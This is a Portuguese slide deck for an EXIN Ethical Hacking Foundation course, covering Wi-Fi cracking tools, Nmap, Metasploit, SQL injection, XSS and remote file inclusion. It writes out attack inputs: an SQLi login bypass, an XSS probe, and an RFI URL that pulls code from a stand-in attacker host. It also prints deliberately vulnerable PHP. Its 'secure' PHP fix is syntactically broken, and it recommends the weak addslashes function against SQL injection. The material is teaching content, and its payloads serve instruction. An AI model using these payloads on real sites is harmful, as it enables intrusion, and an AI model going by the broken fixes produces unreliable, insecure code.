Escolar Documentos
Profissional Documentos
Cultura Documentos
rea de Aprendizagem
www.pmgacademy.com
Official Course
ESTE DOCUMENTO CONTM INFORMAES PROPRIETRIAS, PROTEGIDAS POR COPYRIGHT. TODOS
OS DIREITOS RESERVADOS. NENHUMA PARTE DESTE DOCUMENTO PODE SER FOTOCOPIADA,
REPRODUZIDA OU TRADUZIDA PARA OUTRO IDIOMA SEM CONSENTIMENTO DA PMG ACADEMY
LTDA, BRASIL.
www.pmgacademy.com
Design: By Freepik
www.pmgacademy.com
Official Course
Se voc conhece o inimigo e a si mesmo,
Sun Tzu
www.pmgacademy.com
Official Course
ETHICAL HACKING
Contexto
O rpido desenvolvimento da computao aumenta mais e mais os problemas da segurana da
informao relacionados com as infraestruturas de rede e de
sistema.
Objetivos do curso
O mdulo Fundamentos de Ethical Hacking EXIN abrange as etapas bsicas do Ethical Hacking:
coleta de itens de inteligncia, varredura de redes/sistemas de computador e invaso de sistemas.
Cracking (Quebra de cdigos) de uma chave WEP e WPA(2) a partir de uma rede sem fio
Escaneamento de vulnerabilidades da rede;
Cracking de senhas;
www.pmgacademy.com
Official Course
ETHICAL HACKING
I - INTRODUO
Legislao International
www.pmgacademy.com
Official Course
ETHICAL HACKING
Cdigo de tica (EC-Council)
Tipos de Hackers
www.pmgacademy.com
Official Course
ETHICAL HACKING
Hacker Chapu branco"
Um hacker legal: hacker tico ou testador de invaso.
Esses testes podem ser conduzidos de diferentes maneiras, assim o hacker tico:
Tem conhecimento completo;
Tem conhecimento parcial;
No tem conhecimento do alvo a ser avaliado (box testing).
Hacktivista
Uma pessoa que utiliza os computadores de outras pessoas e redes de computadores para
promover uma agenda poltica. Est no limite com o cyberterrorismo.
Formas de hacktivismo
Extenses de websites ou softwares, como a instalao RECAP para fins polticos, ex: WikiLeaks.
Website mirroring. Fazer uma cpia de um website censurado (governo) em um domnio no-
censurado.
Blogs annimos
www.pmgacademy.com
Official Course
ETHICAL HACKING
Contrato de hacking:
Um hacker tico deve sempre ter um contrato legalmente vinculativo com o cliente, indicando o
escopo e tipos de testes, descrio da funo, responsabilidades, limites para a invaso e
explorao, relatrios, etc.
Testing As Testing
Testing
User With As
As
Access to Developer
User
Internal
www.pmgacademy.com
Official Course
ETHICAL HACKING
As fases do processo de hackeamento
Explorao
Explorao
Discrio
Reconhecimento
Identificao do alvo.
Explorao
Identificar vulnerabilidades (pontos de contato) que tem o potencial
de explorao.
Explorao
Explorao de vulnerabilidades, ex., usando Metasploit.
Discrio
Ocultar a sua identidade.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Processo de Ethical Hacking
Cliente
Contrato
Coletar Informao
Atacar ou testar
Coleta de Informao
Incluindo a identificao de intervalo de IP de endereos, identificando portas/servio e varredura
de vulnerabilidades.
Preparao de ataque
Investigar informao coletada, correlacionar resultados com plano.
Execuo de ataque
Explorar as vulnerabilidades usando ferramentas diferentes, ex. Metasploit.
Elaborao de relatrios
Documentar descobertas e informar ao cliente.
www.pmgacademy.com
Official Course
ETHICAL HACKING
II DETECTORES DE REDE
Antes de poder explorar o trfego de rede, voc precisa entrar na rede, encontrar o trfego e ento
captur-lo.
Para conseguir isso, voc precisa de uma ferramenta especfica de rede chamada analizador de
pacotes ou detector de pacotes.
(Fonte: Wikipedia)
Wireshark
Um analizador de pacotes gratuito e de cdigo aberto
Funciona no Linux, OS X, BSD, Solaris, etc. e no Microsoft Windows
Interface Grfica do Usurio (GUI)
TShark
Verso baseada em terminal (no-GUI) do Wireshark
1. Wireshark
2. Cain and Abel (Ferramenta de recuperao de senha somente para Windows)
3. Tcpdump (ferramenta favorita at a apario do Wireshark)
www.pmgacademy.com
Official Course
ETHICAL HACKING
Como utilizar Ferramentas Detectoras
Exemplo do Wireshark
Em uma rede comutada voc consegue, normalmente, detectar apenas seu prprio trfego. O
processo o seguinte:
Captura de trfego: inicie a captura de trfego no Wireshark (usando a opo eth0);
Filtrar Trfego: defina filtros para descartar pacotes que no interessam;
Seguir um TCP: selecione pacotes interessantes como o incio de um login FTP;
Dissecar pacotes: por exemplo, para encontrar o ponto de destino TCP ou exibir cabealhos
HTTP.
O envenenamento do Cache ARP faz com que o comutador acredite que o trfego seu.
(Fonte: Wikipedia)
www.pmgacademy.com
Official Course
ETHICAL HACKING
Campos de cabealho (exemplos)
Uma lista abrangente de campos de cabealho HTTP pode ser encontrada em@
http://en.wikipedia.org/wiki/List_of_HTTP_header_fields
HTTP
Capturar trfego
Iniciar o Wireshark com privilgios root (por favor, note que isso pode provocar alertas. Descarte os
alertas; afinal de contas, voc um hacker).
Iniciar a captura de trfego no Wireshark usando a opo eth0 (=interface de rede local).
Voc ver todo o trfego destinado ao seu prprio computador, bem como qualquer trfego de
broadcast (trfego enviado para toda a rede).
Todo trfego no destinado a seu computador no ser visto pela interface de rede e no ser
capturado pelo Wireshark.
Filtrar trfego
A quantidade de trfego ser, geralmente, enorme. Portanto, precisamos filtr-la usando filtros do
Wireshark.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Podemos, por exemplo, usar filtros para:
Todos os trfegos que usam protocolo FTP ou cabealhos HTTP
Outros refinamentos podem ser feitos, como a limitao do trfego capturado a certos
endereos IP de destino.
Dissecar pacotes
Primeiro selecione um pacote especfico capturado.
Selecione a entrada HTTP. Quando selecionamos esse campo, a entrada em bytes brutos do
pacote tambm fica destacada.
Etapas:
1. Visualizar interfaces sem fio disponveis:
iwconfig
Resultado:
Wlan0
www.pmgacademy.com
Official Course
ETHICAL HACKING
2. Rastreie pontos de acesso:
iwlist wlan0 scan
Principais resultados (necessrios para o teste/ataque);
Endereos (MAC);
Canal (broadcast);
Status da Chave de Criptografia (on/off);
ESSID.
Aircrack-NG
O Aircrack-ng um programa de quebra de chaves 802.11 WEP e WPA-PSK que pode recuperar
chaves uma vez que pacotes de dados suficientes forem capturados.
Para hackers ticos, o Aircrack-ng um conjunto de ferramentas para a auditoria de redes sem
fio.
Processo bsico:
Determinar o chipset em sua placa wireless;
Determinar qual das trs opes voc usar para executar os programas do aircrack-ng
(distribuio Linux, Live CD ou VMWare image);
Inicie o aircrack-ng.
(Fonte: aircrack-ng.org)
Airodump-NG
Airodump-NG utilizado para a captura de pacotes e para salvar pacotes sem fio (frames brutos
802.11);
Alm disso, o Airodump-NG grava vrios arquivos contendo os detalhes de todos os pontos de
acesso e clientes vistos.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Usando o Airodump-NG
Etapas:
1. Coloque sua placa de rede em modo monitoramento usando o Airmon-NG.
Elimine processos conflitantes:
airmon-ng check kill
Mude para o modo de monitoramento:
airmon-ng start wlan0
2. Capture Pacotes.
Airodump-ng mon0 channel 6
Resultados relevantes: BSSID (=endereo MAC da estao sem fio), SSID, endereos MAC de
clientes conectados.
(Fonte: aircrack-ng.org)
www.pmgacademy.com
Official Course
ETHICAL HACKING
Ferramentas Aircrack e suas funes
Ferramenta Descrio
Ferramenta multiuso destinada a atacar clientes
airbase-ng conectados a um Ponto
de Acesso (AP)
Programa de quebra de chaves 802.11 WEP e
aircrack-ng
WPA/WPA2-PSK
Descriptografar arquivos de captura
airdecap-ng
WEP/WPA/WPA2
Remove o WEP Cloaking a partir de um arquivo
airdecloak-ng
de captura de pacote
Uma ferramenta de desautenticao sem fio
airdrop-ng
baseada em regra
www.pmgacademy.com
Official Course
ETHICAL HACKING
ESSID&BSSID
O acesso a redes sem fios no pas cada vez mais crescente. Conectar em uma rede sem fio facilita
muito a vida do usurio que precisa se conectar de qualquer local. Mas um ponto que tem merece
ateno a segurana envolvida em uma conexo WIFI.
Invasores procuram sempre observar vulnerabilidades para promoverem ataques por meio da
conexo sem fio, roubando dados e efetivando transaes sem a devida permisso ou
conhecimento do usurio.
Os pontos de acesso de uma rede sem fio so agrupados por identificadores denominados de
ESSID e BSSID. justamente nestes pontos que um ataque pode encontrar alguma vulnerabilidade.
Vamos entender melhor esses conceitos.
ESSID (Extended Service Set Identifier): Podemos dizer que o ID da internet. uma combinao
de letras e nmeros identificados em um ambiente de rede. De uma forma mais resumida,
podemos dizer que o ESSID identifica conjuntos de servios conectados, fornecendo um nome de
rede, legvel para os humanos.
BSSID (Basic Service Set Identifier): Se refere ao endereo MAC de um adaptador sem fio ou de um
ponto de acesso.Sua funo identificar exclusivamente um ponto de acesso que enviar sinais pra
transmisso da rede sem fio. Em um IBSS o seu SSID ser escolhido atravs do dispositivo cliente
que esteja iniciando a rede.
Como funciona
Cada ESS e BSS identificado por meio do SSID (Service set identifier). Este SSID uma string de
at 32 caracteres que denomina o nome da rede e diferencia uma rede da outra. O cliente s
poder se conectar rede sem fio se fornecer corretamente este SSID.
Quando um usurio tenta se conectar, o SSID das redes sem fio detectado, e se alguma estiver
desprotegida de senha, poder sofre invases e ataques maliciosos.
Em um access point (ponto de acesso), o SSID poder ser ativado ou desativado, definindo ser
ficar visvel ou no para qualquer dispositivo que esteja dentro do mesmo campo de sinal da rede.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Quando estiver oculto, o usurio dentro deste campo de sinal dever conhecer qual o nome do
SSID para conseguir fazer conexo com esta rede sem fio.
Embora ocultar o SSID da rede parea evitar intrusos, ela no uma opo de segurana
totalmente confivel, ao optar por ocultar o SSID o usurio precisar configurar de forma manual
todos os dispositivos que podero acessar a rede.
Uma forma mais eficaz para proteger a conexo de rede sem fio utilizar o padro WPA2. O
protocolo WPA2 faz uso de criptografia com algoritmos AES (Advanced Encryption Standard) e o
CCMP (Counter Cipher Mode) que se refere a um mecanismo de encriptao de todos os dados
que passam pela rede. Usando o protocolo WPA2 as possibilidades de um ataque so reduzidas
consideravelmente.
Essas configuraes de redes sem fio so realizadas nos roteadores. Os fabricantes de roteadores
geralmente fornecem um nome genrico na rede. Maior parte dos usurios no modificam essa
informao. Para configurar a rede, preciso estar com o manual do fabricante em mos ou
procurar pela verso digital no site do fabricante.
SSID Service Set ID (Conjunto de Servio) o nome de uma rede sem fio. Precisa ser nico,
para que todos os dispositivos em uma WLAN comuniquem-se entre si.
BSSID Basic Service Set ID um identificador exclusivo de um dos Pontos de Acesso (AP) e seus
clientes associados dentro de uma WLAN. Cada Ponto de Acesso (AP) tem seu prprio BSSID.
www.pmgacademy.com
Official Course
ETHICAL HACKING
IV INVASO NO SISTEMA
Quando estamos conectados a uma rede, podemos coletar a informao a partir de dentro.
Descubra se o alvo est online usando o ping.
Colete informao com a ferramenta Nmap;
Portas abertas;
Servios ativos;
Sistema operacional
Verses de software, etc.;
Explore as vulnerabilidades com a ferramenta Metasploit.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Explorao permanente
Sistema Windows
Coleta de credenciais (utilizando WinSCP);
Visualizar e editar informaes de rede (utilizando o shell de comando do Windows).
Sistema Linux
Verificando o histrico do bash;
"Bash o shell mais frequentemente usado para a programao shell (scripting).
Ferramentas de Software
Nmap ("Network Mapper ou Mapeador de Rede) um utilitrio gratuito e aberto (licena GNU)
para deteco de redes e auditoria de segurana.
Ferramentas adicionais:
Zenmap (visualizador de resultados);
Ncat (ferramenta de transferncia de dados, redirecionamento, e depurao);
Ndiff (utilitrio para comparar resultados de inspees);
Nping (gerao de pacotes e ferramenta de anlises de resposta).
fonte: nmap.org
Metasploit pode ser usado para testar a vulnerabilidade do sistema de computador ou para invadir
um sistema remoto.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Edies de cdigo aberto ainda disponveis.
Verses gratuitas
Metasploit Framework Edition: verso gratuita. Ela contm uma interface de linha de comando,
importao de terceiros, explorao manual.
Metasploit Community Edition: uma interface web gratuita para usurio do Metasploit.
Metasploit
Com o uso do Metasploit possvel realizar testes de invaso (pentests). Sendo possvel fazer
desde um scan mais simples at uma anlise ou invaso mais completa, explorando
vulnerabilidades em programas instalados.
Como funciona
Este framework open source, e passa por constantes transformaes. A sua programao feita
em Ruby e est organizada por mdulos.
justamente nesses mdulos que se encontram os programas que so preparados para tiraram
partido das vulnerabilidades que forem encontradas nos programas, possibilitando a execuo de
cdigos maliciosos e provvel invaso da mquina.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Aps o download do arquivo, preciso permisso para executar arquivo. Aps executar o arquivo
tudo realizado de forma automtica. Um exemplo de como iniciar Metasploit, considerando o
uso do Linux, digitando os comandos:
service postgresql start;
service metasploit start.
Ao iniciarmos o Metasploit pela primeira vez, so criadas diversas tabelas no banco de dados, que
servem para guardar dados de hosts, vulnerabilidades encontradas e outras informaes
importantes.
Quase todos os comandos no Metasploit tem a opo de help ( -h) para auxiliar no entendimento
do mesmo. Com o comando help podemos visualizar uma lista de comandos com as suas
explicaes.
Exemplo: search -h. O help indicar que o comando search usado para buscar payloads e exploits
dentro da ferramenta.
Ao encontramos o comando que queremos usar dentro do Metasploit, devemos usar um outro
comando chamado use, para entrar no contexto do mdulo que iremos usar. Para retornar ao
modo inicial do Metasploit devemos digitar o comando back.
Embora possamos usar o Metasploit por linha de comandos, podemos tambm fazer uso da
interface grfica via browser: o msfweb.
Esta a base fundamental para uso do Metasploit. Para aprender mais sobre os comandos e
colocar aes em prticas, indicado fazer uso do site: https://www.rapid7.com, onde possvel
encontrar informaes e exemplos completos.
www.pmgacademy.com
Official Course
ETHICAL HACKING
O que NMAP
O Nmap um scanner que permite fazer um scan completo em uma rede para obter as
informaes de quais hosts esto ativos na rede, bem como informaes de portas que esto
abertas e sistemas que esto sendo rodados.
Para que serve
Como vimos acima, o Nmap(Network Mapper) se trata de uma ferramenta capaz de detectar os
servios e computadores de uma determinada rede. Criando um tipo de mapa da rede.
Como funciona
O Nmap pode ser usado atravs de linha de comando ou graficamente. A sua sada ser uma lista
contendo alvos / dispositivos rastreados com informaes adicionais de cada um. Uma das
informaes obtidas pelo rastreamento uma tabela de portas, que exibe o nmero de porta,
protocolo, nome do servio e estado que pode ser aberto, filtrado, no filtrado ou fechado.
Se o estado for aberto, indica que a aplicao na mquina escaneada est em execuo. Quando o
estado filtrado, indica que o firewall est bloqueando a porta e no permite que o Nmap diga se
ela est aberta ou fechada.
Quando o estado est como fechado, indicao que a aplicao no est escutando na porta. J
as portas classificadas como no filtradas indicam que elas respondem o Nmap, mas o Nmap por
sua vez no consegue determinar se determinada porta se encontra no estado aberto ou fechado.
Exemplos
Vamos mostrar alguns exemplos de utilizao do NMAP, para entender um pouco mais sobre o seu
funcionamento. Vamos considerar a utilizao de linha de comandos.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Comando: nmap -v scanme.nmap.org: Esta opo faz um scan de todas as portas TCP que estejam
reservadas no host scanme.nmap.org.
A figura a seguir mostra um exemplo de sada para rastreio com o comando -A que faz a deteco
de Sistema Operacional e sua verso e o comando -T4 que mostra os nomes de hostnames em
questo.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Outro exemplo: Este comando verifica quais as portas UDP esto abertas.
Comando: nmap 192.168.0.222 -sU
Existem diversas outras opes de parmetros que podem ser usados no mapeamento Nmap. Para
saber mais, pode-se acessar o site https://nmap.org/ que fornece mais informaes.
Alm disso, ferramentas grficas podem ser utilizadas para usar o NMAP, uma dica de ferramenta
grfica a Zenmap.
Inspecionando um alvo
Varredura de porta descobrir quais sistemas esto ativos e qual software podemos falar sobre:
Varredura manual de porta & Impresses Digitais;
Conectar-se a uma porta usando o Netcat.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Combinao de ferramentas
Por exemplo:
Ferramentas de linha de comando do Linux, como whois e nslookup.
Wireshark uma boa ferramenta quando o assunto deteco e coleta de informaes em uma
rede.
Nmap para descobrir hosts e servios em uma rede de computador.
Netcat para abrir portas brutas.
Encontrar vulnerabilidades (conhecidas) online, ex: exploit-db.com, etc.
Metasploit uma estrutura abrangente para conduzir testes de invaso em um sistema de rede
e em uma infraestrutura de TI, e para explorar vulnerabilidades.
I. Encontrando vulnerabilidades.
II. Impresses digitais manuais.
I - Encontrando vulnerabilidades
As varreduras de vulnerabilidades possibilitam uma base slida para futuras
exploraes.
Opes de ferramentas:
Nessus scanner bastante utilizado.
Nmap scripting engine executa scripts disponveis ou permite que voc escreva o seu prprio.
Metasploit.
Mdulos de scanner ajudam a identificar vulnerabilidades para futuras exploraes.
Funes de verificao conectam-se a um alvo para ver se ele est vulnervel.
www.pmgacademy.com
Official Course
ETHICAL HACKING
II. Impresses digitais manuais
Impresso digital o processo de identificao do tipo/verso de um servidor e da aplicao do
servidor.
Como vimos, podemos fazer isso com ferramentas como o Nmap, ou manualmente usando
Netcat.
Comando bsico/parmetro
Nc iniciar Netcat
-vv detalhes adicionais (fornece o mximo de informao possvel)
Sintaxe
nc vv {nome do servidor ou- endereo ip} {tcp nmero da porta}
Porta Funo
www.pmgacademy.com
Official Course
ETHICAL HACKING
Explorao e ps-explorao
Explorando vulnerabilidades
Corresponda vulnerabilidades descobertas anteriormente com mdulos Metasploit usando:
Nmero CVE (Vulnerabilidades comuns e exposies);
OSVDB ID (Banco de dados de vulnerabilidades);
Bugtraq ID;
Boletim de segurana da Microsoft;
Busca do texto completo para uma cadeia de caracteres
Funo de busca integrada ao Metasploit.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Explorao permanente de vulnerabilidades
Selecione um mdulo;
Encontre informaes sobre o mdulo (usando o comando info);
Confira os resultados;
Use o mdulo (usando o comando use);
Configure opes de mdulo (use o comando show options):
Exemplos: RHOST host remoto que queremos explorar (o alvo); configurando: IP-
endereo, RPORT a porta remota (soquete de rede) a ser atacada, Explore o Alvo
(sistema operacional do alvo);
Selecione um payload compatvel (ou Cdigo Shell);
Execute um (teste) (usando o comando exploit).
www.pmgacademy.com
Official Course
ETHICAL HACKING
V- HACKING BASEADO NA WEB
Possilita que voc leia ou modifique dados, feche ou at mesmo destrua o banco de dados.
Tpicos adicionais:
Etapas para testes de vulnerabilidades SQL;
Extraindo dados usando injeo SQL (SQLi).
SQL Injection
O que
O SQL Injection ou Injeo de SQL, um termo que indica um tipo de ameaa, que usa falhas
existentes em sistemas, para interagir com o banco de dados dos mesmos atravs de comandos
SQL.
Este tipo de ataque serve para alterar e manipular informaes do banco, comprometendo a
integridade dos dados armazenados, podendo causar um grande transtorno.
Como funciona
Ao acessar uma aplicao via web, se o sistema apresentar falhas de segurana, a pessoa poder
acessar algum formulrio do site e passar instrues SQL, atravs do local destinado para o usurio
digitar informaes.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Com isso, a pessoa consegue alterar diversos dados na aplicao, sem possuir o devido acesso ou
autorizao. Isso se trata de um ataque que pode causar muitos danos ao banco, mas que pode ser
evitado com o uso de boas prticas de programao, que possibilitam otimizar o processo de
segurana da informao.
As boas prticas podem ser implementadas no prprio servidor de banco de dados, como tambm
podem ser implementadas dentro do cdigo fonte, independente da linguagem de programao
utilizada.
Para entender melhor o funcionamento de um ataque com SQL Injection, vamos ver alguns
exemplos, para esclarecer melhor a questo.
Exemplos:
Com objetivo de exemplificar o funcionamento do SQL Injection, vamos analisar a situao
apresentada a seguir.
Temos uma tela de Login. Considere que a autenticao desta tela validada com a seguinte
instruo SQL:
SELECT * FROM tb_usuarios WHERE user = 'campo_usuario' AND pass = 'campo_senha'
Esta consulta busca no banco de dados um usurio que contenha as respectivas informaes
digitadas pelo usurio.
www.pmgacademy.com
Official Course
ETHICAL HACKING
No caso, a consulta buscaria no banco, usurio com nome de acesso Ana e senha 123456.
Mas imagine outra situao, a pessoa mal intencionada deseja verificar a vulnerabilidade da
aplicao. Se esta pessoa digitar uma informao, como exemplificado na tela a seguir, ela obter
um acesso indevido, podendo prosseguir com o seu ataque:
SELECT * FROM tb_usuarios WHERE user = 'teste' AND pass = ' ' or '1' = '1'
O comando ' ' or '1' = '1' faz com que o usurio e senha informados sejam sempre verdadeiros,
permitindo assim o acesso indevido ao sistema.
Para evitar este tipo de ataque, na linguagem de programao deve ser implementando funes
que validem os dados de entrada, visando impedir a execuo de comandos indevidos.
Exemplo bsico de um cdigo PHP para tratar a execuo de querys e evitar o SQL injection:
<? php
$usuario = $_POST['user'];
$senha = $_POST['pass'];
$user_escape =addslashes($usuario);
$pass_escape = addslashes($senha);
A funo addslashes() adicionar uma barra invertida antes de cada aspa simples e aspa dupla
encontrada. Com esse tratamento, a query resultante seria:
SELECT * FROM usuarios WHERE codigo = '' AND senha = '\' or 1=\'1
www.pmgacademy.com
Official Course
ETHICAL HACKING
Evitando assim que o usurio consiga o acesso indevido. Outra dica importante evitar de exibir
mensagens de erro em um servidor de aplicao que esteja em produo, pois nessas mensagens
de erros e alertas podem ser exibidos caminhos de diretrios de arquivos ou outras informaes
importantes sobre o esquema do banco de dados, comprometendo a segurana da aplicao.
Passos:
O ponto inicial a pgina de login - usando uma consulta SQL podemos recuperar o usurio
correto do banco de dados;
Usar a apstrofe [] para fechar a consulta SQL far com que a aplicao lance um erro de sintaxe
de SQL (se uma vulnerabilidade de SQLi estiver presente).
Tambm possvel usar uma ferramenta como o SQLMap para gerar consultas
automaticamente:
Uma vez que tenhamos determinado um ponto de injeo, a ferramenta faz o resto.
-u inicia o test, e dump recupera o contedo do banco de dados.
www.pmgacademy.com
Official Course
ETHICAL HACKING
ORDER BY; organiza os dados & pode tambm ser usado para determinar o nmero de colunas no
banco de dados;
A funo CONCAT usada para concatenar duas cadeias e formar uma nica (quando temos
apenas um campo para receber os dados);
A funo USER() retorna o nome de usurio padro (atual) como uma cadeia;
A funo DATABASE() retorna o nome de banco de dados padro (atual) como uma cadeia;
SELECT @@version retorna o sistema e constri informao para a instalao atual do servidor
SQL.
Exemplos de consultas:
= John
ORDER BY Cidade
www.pmgacademy.com
Official Course
ETHICAL HACKING
Consultas maliciosas: usos do SQLi
Caracteres de escape filtrados incorretamente
Ex: selecionando um nome de usurio vlido (1=1)
Digitao incorreta
Injeo Cega
Injeo de segunda ordem
Ataques ao cliente
Scripts Cruzados entre Sites (XSS) uma vulnerabilidade das aplicaes web. Eles possibilitam que
um invasor injete scripts maliciosos.
Tpicos adicionais:
Scripts Cruzados entre Sites criando um PoC;
Conceitos bsicos de sequestro de sesso;
Como evitar os filtros bsicos de XSS.
O que XSS?
XSS um tipo de vulnerabilidade que pode ser encontrada em aplicaes web, e que permite
inserir cdigos no lado do cliente (altera a pgina no computador do usurio).
Este ataque pode ser subdividido em trs tipos de categorias: Refletido, Armazenado, baseado em
DOM.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Como funciona e exemplos
XSS Reflected:
O ataque refletido quando o servidor da pgina web reflete aquilo que enviamos sem filtrar o
contedo que o usurio digitou. Suponha que um usurio comum acesse uma pgina e digite seu
usurio e senha:
1) Usurio acessa site http://exemplo.com.br
2) pgina solicita que entre com usurio e senha
3) Usurio digita um user no existente, chamado "Joo
4) A pgina exibir na tela a mensagem: "O usurio Joo no est cadastrado em nossa base"
Porm se um usurio mal intencionado acessar a pgina, ele tentar verificar a vulnerabilidade
digitando um script:
1) Usurio invasor acessa site http://exemplo.com.br
2) pgina solicita que entre com usurio e senha
3) Usurio digita um user no existente, chamado "<script>alert(10)</script>"
4) A pgina exibir a mensagem de usurio no existente, e exibir uma caixa de mensagem gerada
pelo script.
www.pmgacademy.com
Official Course
ETHICAL HACKING
XSS Stored:
quando o cdigo que ser injetado no foi filtrado e est armazenado, assim, quando alguma
pgina WEB for exibir o contedo armazenado, o XSS ser disparado.
Aes como filtrar o dado que o usurio est digitando, verificar os caracteres <, > , - ao
imprimir o dado, so aes que ajudam a combater este tipo de ataque.
Uma Prova de Conceitos (PoC) de XSS um pequeno pedao de cdigo usado para demonstrar
que as vulnerabilidades existem;
H duas categorias de ataques XSS: armazenados e refletidos;
Ataques XSS armazenados so conservados no servidor e executados sempre que um usurio
visita a pgina onde os scripts esto armazenados;
Ataques XXS refletidos so criados ao enviar solicitaes com o prprio ataque XXS;
Ataques ocorrem quando o input de usurio incluso na resposta do servidor, ex: messagem de
erro, resultados de busca.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Conceitos bsicos do sequestro de sesso
XXS refletidos permitem que voc roube cookies e dados da sesso, possibilitando que o invasor
tenha acesso s contas.
Alguns exemplos:
PHP: htmlentities
(converte todos os caracteres para HTML) Uma nica citao no pode ser convertida
www.pmgacademy.com
Official Course
ETHICAL HACKING
Ataques ao servidor
Tpicos:
Incluso de Arquivos Remotos (RFI);
Funcionalidades bsicas dos shells php, como r57 e c99;
Connect Shells Bind & Back.
RFI
Conforme a internet e tecnologia avana, mais opes e facilidades o usurio tem para resolver
tarefas e transaes via internet. Acompanhando esta evoluo, esto os ataques, que tentam
roubar informaes e causar outros tipos de danos.
O que RFI?
RFI (traduzido significa Incluso de Arquivos Remotos) um tipo de vulnerabilidade que ocorre pela
falta de validao na entrada de dados pelo usurio, onde scripts so passados para uma aplicao
WEB.
Quando o cdigo do invasor executado no servidor, ele poder roubar arquivos temporrios,
alm de manipular informaes e demais arquivos deste servidor.
Como funciona:
Um atacante tentar identificar a vulnerabilidade de algum site, verificando a sua URL. Considere o
seguinte site:
www.exemplo.com/index.php?page=PageName.
O usurio mal intencionado tentar inserir um link contendo o cdigo malicioso. Como a seguir:
www.exemplo.com/index.php?page=http://www.ataque.com/arquivo.php
www.pmgacademy.com
Official Course
ETHICAL HACKING
Se o site for vulnervel, ele abrir o link remoto, e assim, o usurio poder prosseguir com o ataque.
Preveno
Assim como os demais tipos de ataques, o RFI aproveita de entrada de dados de forma no segura.
A melhor forma para evitar ataques RFI validar todas as pginas que sejam includas.
Exemplo:
A seguir apresentamos um trecho de um cdigo em PHP que est programado de uma forma que
torna uma pgina vulnervel.
<?php
Include ($_GET[pagina]);
?>
Neste cdigo, a varivel pagina no validada em nenhum momento, deixando o caminho aberto
para a incluso de arquivos remotos.
Para solucionar este tipo de vulnerabilidade, o caminho ideal seria modificar o cdigo fonte,
fazendo as validaes necessrias na entrada dos dados. Vamos ver um exemplo no trecho do
cdigo a seguir:
<?php
var = $_GET[pagina];
$pages = array(index.php, pagina1.php, pagina2.php);
If(in_array ($var, $pages))
{
Include($pagina);
} else {
die (tentativa de ataque);
}
?>
Devemos partir do seguinte princpio: No confie em tudo que o usurio digitar. Toda linguagem
de programao possui recursos que permite tratar dados e formulrios, seja por arrays ou outras
funes.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Executar a Incluso de Arquivos Remotos (RFI)
Vulnerabilidades RFI permitem que os invasores carreguem e executem scripts (PHP) maliciosos,
hospedados em outro lugar, em um servidor vulnervel;
Voc pode detectar vulnerabilidades RFI ao olhar certos parmetros na URL, ex: p=, page=, site=,
content=, etc.;
Se o backend carrega um arquivo, tambm podemos ser capazes de carregar um arquivo remoto
(contendo um cdigo PHP);
Um exemplo de arquivo PoC que pode ser usado para testes est disponvel em:
rfi.nessus.org/rfi.txt
PHP uma linguagem de uso geral que pode ser usada para escrever scripts de aplicaes
gerais.
Fonte: http://php.net/
Um connect shell possibilita que o invasor acesse a mquina alvo atravs da rede.
Um back-connect shell (reverso) conecta de volta mquina do Invasor.
Shells maliciosos
Uma vez carregada, a shell permite que o invasor execute commandos atravs da funo shell_exec
()
Fonte: Http://resources.infosecinstitute.com/checking-out-backdoor-shells/
A shell R57
Exemplos de funes:
Executa comando diretamente no sistema
Baixa e envia arquivos
Cria conexes FTP
Envia (arquivos) a e-mails
Cria conexes com bancos de dados e etc.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Connect shells Bind & Back
www.pmgacademy.com
Official Course
ETHICAL HACKING
Exame do Fundamento de Ethical Hacking do EXIN
GLOSSRIO
TERMO SIGNIFICADO
Frmula que retorna informaes de compilao e sistema para a instalao atual
do SQL Server. Os resultados de @@VERSION so apresentados como uma cadeia
@@VERSION
de caracteres nvarchar. Voc pode usar a funo SERVERPROPERTY (Transact-SQL)
para recuperar os valores de propriedades individuais.
+x eXecute Frmula de comando de execuo.
um detector de redes, sniffer de pacote, aplicativo de quebra de WEP e
Aircrack-ng
ferramenta de anlise para redes locais sem fios 802.11.
Aireplay-ng Injeo de pacotes (Somente em Linux).
www.pmgacademy.com
Official Course
ETHICAL HACKING
GLOSSRIO
TERMO SIGNIFICADO
uma funo que pode ser utilizada em vrias partes da sua consulta, tanto para
CONCAT unir valores de campos da tabela temporariamente quanto para unir strings que
voc quiser digitar manualmente (ou por variveis) na consulta.
Scripts um tipo de vulnerabilidade do sistema de segurana de um computador,
Cruzados entre encontrado normalmente em aplicaes web que activam ataques maliciosos ao
Sites (XSS) injectarem client-side script dentro das pginas web vistas por outros usurios.
Descoberta e uma definio de protocolo dentro do contexto PROFINET. um protocolo de
Protocolo de ligao baseado em configurar os nomes das estaes e endereos IP. Ele est
Configurao restrito a uma sub-rede e, principalmente, usado em pequenas e mdias
Bsica (DCP) aplicaes sem um servidor DHCP instalado.
Gateway O porto de sada para uma outra sub-rede, ou para internet, um endereo que te
Padro indicar o caminho ao seu computador para fora de sua rede.
Defesa em Profundidade descreve uma srie de estratgias que constroem
coletivamente um plano de proteo de segurana para reduzir ataques
Defesa em maliciosos em seu ambiente, evitando corromper seus sistemas e informaes.
Profundidade No apenas uma srie de softwares e dispositivos de segurana, mas um
processo estratgico unido prtica concentrada na proteo, deteco e reao
de situaes de risco.
Protocolo de
Configurao
o nome de um protocolo TCP/IP que oferece servios de configurao dinmica
de Host
em redes.
Dinmico
(DHCP)
Sistema de O sistema de nomes de domnios (DNS) o protocolo de resoluo de nomes
Nomes de para redes TCP/IP, como a Internet. Um servidor DNS hospeda as informaes que
Domnios permitem que os clientes resolvam nomes DNS memorizveis e alfanumricos
(DNS) para os endereos IP que os computadores usam para se comunicar.
Impresses
uma ferramenta tcnica utilizada para a descoberta de rede.
digitais
Um servidor que fornece, atravs de uma rede de computadores, um servio de
Servidor FTP acesso para usurios a um disco rgido ou servidor de arquivos atravs do
protocolo de transferncia de arquivos: File Transfer Protocol.
